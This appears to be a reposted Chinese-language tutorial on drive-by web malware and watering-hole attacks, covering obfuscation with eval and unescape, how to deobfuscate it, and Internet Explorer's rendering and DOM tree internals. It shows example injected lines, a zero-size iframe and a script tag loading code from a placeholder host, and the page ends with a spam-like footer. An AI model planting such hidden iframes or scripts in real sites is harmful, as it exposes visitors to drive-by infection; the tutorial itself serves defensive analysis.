<span id="7ztzv"></span>
<sub id="7ztzv"></sub>

<span id="7ztzv"></span><form id="7ztzv"></form>

<span id="7ztzv"></span>

        <address id="7ztzv"></address>

            原文地址:http://drops.wooyun.org/papers/5519

            本篇依然是三段

            II.1 介紹一些基礎概念和簡單實現

            II.2介紹一些實用操作

            II.3介紹IE對某些內容實現的具體細節

            三節的內容并不是強聯系,需要了解的內容也并不相同,跳過一節并不會影響到其他內容的理解,請根據需要來閱讀。

            II.1 HTML與網馬攻擊


            跟龍總(@瞌睡龍)商量了一下更換了大綱順序,所以本來放在后面的網馬解密決定放在前面和HTML、Javascript一起來說了。現階段網馬大部分都是工具生成的,由于基本都是傻瓜式操作,買個站掛上,再批量拿下其它站來插代碼就好了,所以導致攻擊量居高不下。

            這個問題在2007年附近尤其盛行,當時由于IE6的占有量巨大,而IE6又是一個安全問題頻發的瀏覽器版本,加上盜版系統的占有率高,自動安裝補丁的用戶少,所以網馬攻擊很常見,大家經常會發現用著用著突然瀏覽器內存占用就升高了很多,這時候用戶很可能就已經受到了攻擊。

            當然,隨著Windows Vista的發布和許多新功能的加入,從IE9開始,此類問題已經逐漸得到了改善,但是顯而易見的是,微軟只是在逐漸提高攻擊者的攻擊門檻,從根本上看,每個廠商和軟件都不太可能消除用戶環境中各種原因產生的安全問題。

            當時(2007)網馬已經較為成熟,各種加密(或者專業一些,稱作混淆,obfuscation)層出不窮,為了應付,當時我還做了一個工具叫Redoce,用戶體驗幾乎沒有,不嫌難用的也可以試試(本來想C++重寫這個工具的,可惜時間不允許了)。

            enter image description here

            圖:國外各種Exploit Kit提供支持的漏洞利用代碼

            網馬攻擊,或者專業點稱為“水坑式攻擊”(Watering Hole Attack),是它的一個子集,水坑式攻擊這個詞應該是從2012年RSA Security處誕生的,意義是針對要攻擊的人群,分析他們的習慣之后,在他們可能訪問的網站上掛馬,這些馬可以是瀏覽器漏洞,釣魚等等。

            水坑攻擊中關于釣魚、欺騙的部分我暫且不提了,剩余部分,網馬的代碼一般涉及兩個部分,一個是代碼混淆,一個是漏洞利用。很簡單,由于殺毒軟件都有各種網盾之類的掃描機制,包括IE訪問時還會產生本地緩存文件,如果不對利用代碼進行免殺的話,憑借特征庫,殺毒軟件很容易就能檢測到當前頁面有惡意代碼。

            enter image description here

            圖:某個Exploit Kit中提供的各種利用代碼

            漏洞利用部分,“解密”一詞倒是有多重含義,取決于你需要怎么處置這段利用代碼。常見的可以總結如下:

            代碼混淆部分,最初釋放出的代碼可能只有簡單的混淆,例如變量名置換等等,但是后期漏洞利用代碼一旦暴露時間增長,則掛馬者為了躲避殺毒軟件檢測,會對代碼進行各種加密。 但是肯定離不開代碼的這一個單位:函數。

            總的來說,網馬的解密就是要靠眼睛,即使中間加密再牛,最后也無非就是一兩招就能拆掉的。偶爾把自己當參數解密的這類難度系數可能會高上一層,但是也只是多費時間而已。

            enter image description here

            圖:某個Exploit Kit提供的漏洞利用腳本

            網頁掛馬的方式最常見的就是通過注入代碼,黑闊們可能會使用軟件批量掃站,取得寫入權限后向網頁內注入惡意腳本。

            通常,由于注入一大片腳本會導致文件大小突然變大很多,這樣將很容易被發現,所以通常攻擊者注入的都是簡短的一行:

            #!html
            <iframe src=”http://something.eval”  width= 0 height=0/>
            

            或者

            #!html
            <script src=”http://also.something.eval” />
            

            這樣,當用戶訪問當前網頁時就會自動加載起攻擊者的網頁或者腳本。在早期的網馬中,通常width / height 的值很小,或者iframe、script出現在html標記之前或者/html標記之后都會被認為是惡意的。后來逐漸發展,由國外的Exploit Toolkit帶起來動態創建元素、302跳轉。 以及國內網馬也開始用Style標記隱藏元素,以及其他做法都出現了。

            關于網馬的提供源,可見參考資料(1)。最近幾篇中,將穿插著同時介紹HTML,以及相關的網馬知識,至于SWF、PDF之類的,將放在后面提一提。

            由于這是本篇的最開始,所以我們先簡單的介紹幾個元素:

            1. IFRAME


            enter image description here

            enter image description here

            圖:IFRAME在IE中的顯示效果

            以上為一個IFRAME,用途是在當前網頁內再用“框架”顯示一個網頁,這是最常見的。FRAMESET(+ FRAME)也可以做到。上圖中alert部分的代碼會在當前域執行。

            FRAME相當于一個獨立的網頁,它(FRAME)的宿主是外層網頁,它(FRAME)的內部元素宿主是該FRAME自身。如果需要配合body onload等事件觸發漏洞的話,選擇iframe將是一個不錯的計劃。

            2. SCRIPT


            SCRIPT標簽通過src可以加載一個存放于外部網站的腳本,這對控制網馬攻擊并插入當前網站的惡意代碼的量有顯著的作用。惡意利用代碼的長度通常都不短,直接寫入的話可能導致當前網站文件大小異常,或者流經網絡的流量異常,從而被管理員很快發現。

            簡短的腳本也可以直接寫入,例如幾年前最為流行的MS06-014(CVE-2006-0003)漏洞。作用域為當前域。

            然后,針對代碼的混淆,假定各位已經掌握了基礎的JavaScript/VBScript的相關知識,如果沒有可以參考W3School的相關教程。我們先來認識一組函數,這組函數提供了加密/編碼的功能:

            unescape/ escape
            

            這對函數互為逆反。

            該函數的工作原理是這樣的:通過找到形式為 %xx 和 %uxxxx 的字符序列(x 表示十六進制的數字),用 Unicode 字符 \u00xx 和 \uxxxx 替換這樣的字符序列進行解碼。(2)

            在腳本引擎中該函數的實現為:逐字搜索%,找到后對后續內容進行有效性檢查(“u”開始? 是否都為16進制數字?),滿足條件后,用對應字符替換%序列。

            eval
            

            這個函數可以將字符串轉為代碼來執行,例如默認情況下,eval(“alert(5)”)等價于alert(5)。同樣有這個功能的函數還有setTimeout、setInterval (第一個參數傳入字符串的情況下)。

            為什么要介紹這個函數呢,因為字符串的加密才是網馬混淆的重點所在,因為很有可能會出現這樣的代碼:

            eval(decrypt_function(“ENCRYPTED_STRING”));
            

            而此時,eval就是整個去混淆的突破口。

            II.2 網頁渲染概述


            瀏覽器中顯示的花花綠綠的各種內容,基礎單位是什么呢?上一篇中我們也提到了HTML,既然它是能讓瀏覽器操作一組“Markup”的語言,那么Markup必然有自己更詳細的實現,這個實現又是什么呢?粗略地說,這個實現就是元素(Element)。

            如果有人用過使用基于XML的UI界面之類的庫,相信大家會更加容易理解元素是怎么呈現在網頁上的。不過IE的網頁并沒有簡單的重用系統的基本窗口類,而是自行弄了一套邏輯。如果你試圖使用Spy++來查看IE的話,你會發現只有一個Internet Explorer_Server的區域在這里。

            而且使用Spy++跟蹤Internet Explorer_Server的消息時,幾乎看不見WM_CREATE窗口創建的消息,有的全部是WM_PAINT和各種自定義消息。

            enter image description here

            圖:Spy++觀察IE窗口

            使用WebBrowser也可以得到這個對象。

            enter image description here

            圖:WebBrowser控件的結構和IE的窗口相似

            那窗口上那各種各樣的元素是怎么顯示出來的呢?答案是“自繪”的,IE的頁面上并不是標準的Windows窗口。

            如果無法理解,可以類比一下QQ主界面,感受兩下。與IE渲染相關的類十分之多,這塊與安全關系不大,牽扯到的代碼量也很大,最基礎的可以從CFormDrawInfo(獲取繪制信息)、CSetDrawSurface(設置繪圖區域)、CCalcInfo(計算Site大小)這些以及相關的類跟蹤一下,它們是用于計算繪圖相關的類,還有文字排版、具體的繪制等內容分列在其他許多代碼中,現在也暫且不談。對頁面渲染有興趣的話可以直接參考Chrome的代碼,雖然他和IE用的不是一套,但是這樣更能受到啟發。

            enter image description here

            圖:IE9的渲染邏輯概括

            II.3節點的結構


            既然HTML通過各個元素來展示,那么元素在IE中必然有更嚴格的層級結構和管理模式,這個模式是什么樣的呢?

            IE中幾乎每個看得見摸得著的標簽都對應著一個類,例如<a>(超鏈接錨)對應的是CAnchorElement。這些細分的類都是由CElement派生而來,而CElement則是由CBase派生而來。 這些子元素以元素樹的方式存在著。針對DOM,IE會在內部維護一個伸展樹(Splay Tree)。首先讓我們看一看一些這棵樹基礎的構成。

            上一篇我們說到CMarkupPointer,這個是Markup Service的“指針”,那基于樹的模型中,樹的指針是什么呢?答案是CTreePos。

            在IE中,層級結構類似于:

            enter image description here

            詳細的描述一下上圖。每一頁(CDoc)都會有一個Primary Markup,該Primary Markup(CMarkup)指向當前Root Element(CElement)。

            每個CMarkup會和某個Doc(CDoc)關聯起來,這個關聯關系體現在CMarkup的成員變量中,有一個CDoc*即為其相關的Document。

            CMarkup會和Root Element相關聯(),CElement遍歷樹中元素(其實是節點node,方便理解說成元素了)要從First Branch開始,通常CElement中已經存儲了First Branch Node。 可以通過CElement::contains(...)來簡單理解一下這個過程,函數的功能是:判斷某個CElement的子樹中是否包含某個元素,(以下是簡化的流程):

            enter image description here

            同樣,每個CTreeNode可以是與CElement關聯的(它也可以誰都不關聯,稱為未初始化的,也可以與文本關聯)。而CTreePos即為描述CTreeNode的位置“指針”,CTreePos要描述的是節點在“樹中的位置”。

            在一個CTreeNode的視野中,起始節點稱為Begin Tree Pos(NodeBeg),最后的節點稱為End Tree Pos(NodeEnd)。

            CMarkupPointer可以返回與之綁定在一起的節點的CTreePos,但是返回的并不一定都是綁定著的,也有可能是因為無效操作或者被移除等其他情況導致的未定義的位置。

            最后,重提一下上一頁中出現的“元素交叉”的情況,這個情況在Javascript中又是怎么處理的呢?大家可以試驗一下,查看一下不同IE版本之間渲染的細微差別:

            #!html
            <div>wwww<b>xxxxx<i>yyyy</b>zzzzz</i>wwww</div>
            
            <script>
                alert("begin..");
            
                var nodes = document.all;  
                for(var i=0;i<nodes.length;i++){  
                    var o = nodes[i];  
                    console.log(o.tagName + ',' + o.nodeType + ',' + o.sourceIndex + " : Parent is " + o.parentNode.nodeName);  
                }  
            </script>
            

            在IE8中,是:

            enter image description here

            圖:請看zzzzz被重復了兩次

            IE8的輸出結果是:

            enter image description here

            而同樣的代碼,在IE11中則是:

            輸出的結果是: HTML1523: 重疊的結束標記。標記的結構應為

            "<b><i></i></b>"
            

            而不是

            "<b><i></b></i>"。
            

            文件: hp.htm,行: 1,列: 25

            HTML,1,0 : Parent is #document
            HEAD,1,1 : Parent is HTML
            BODY,1,2 : Parent is HTML
            DIV,1,3 : Parent is BODY
            B,1,4 : Parent is DIV
            I,1,5 : Parent is B
            I,1,6 : Parent is DIV
            SCRIPT,1,7 : Parent is BODY
            

            可見這里元素被細分為了:

            #!html
            <div>wwww<b>xxxxx<i>yyyy</i></b><i>zzzzz</i>wwww</div>  
            

            可見,IE8中元素I的區域明顯異于IE11。IE11中為什么有如此改動呢?對比一下Chrome的結果即可知曉:

            enter image description here

            對比可見IE11的輸出和Chrome其實一樣,在元素發生交叉時,將邏輯修改成了:重疊區域拆分成多個元素,而不是一直保持原始輸入不變。

            enter image description here

            以上是Chrome的控制臺結果,為了消除瀏覽器間的差異性,修改后的IE11的運行結果和Chrome變得一樣了。

            參考資料 & 可供參考的資料


            (1] http://bbs.kafan.cn/forum-105-1.html

            (2] http://www.w3school.com.cn/jsref/jsref_unescape.asp

            (3] http://contagiodata.blogspot.com/

            (4] http://www.iefans.net/ie9-tuxingjiasu/

            (5] http://spmblog.dynatrace.com/2009/12/12/uderstanding-internet-explorer-rendering-behaviour/

            <span id="7ztzv"></span>
            <sub id="7ztzv"></sub>

            <span id="7ztzv"></span><form id="7ztzv"></form>

            <span id="7ztzv"></span>

                  <address id="7ztzv"></address>

                      亚洲欧美在线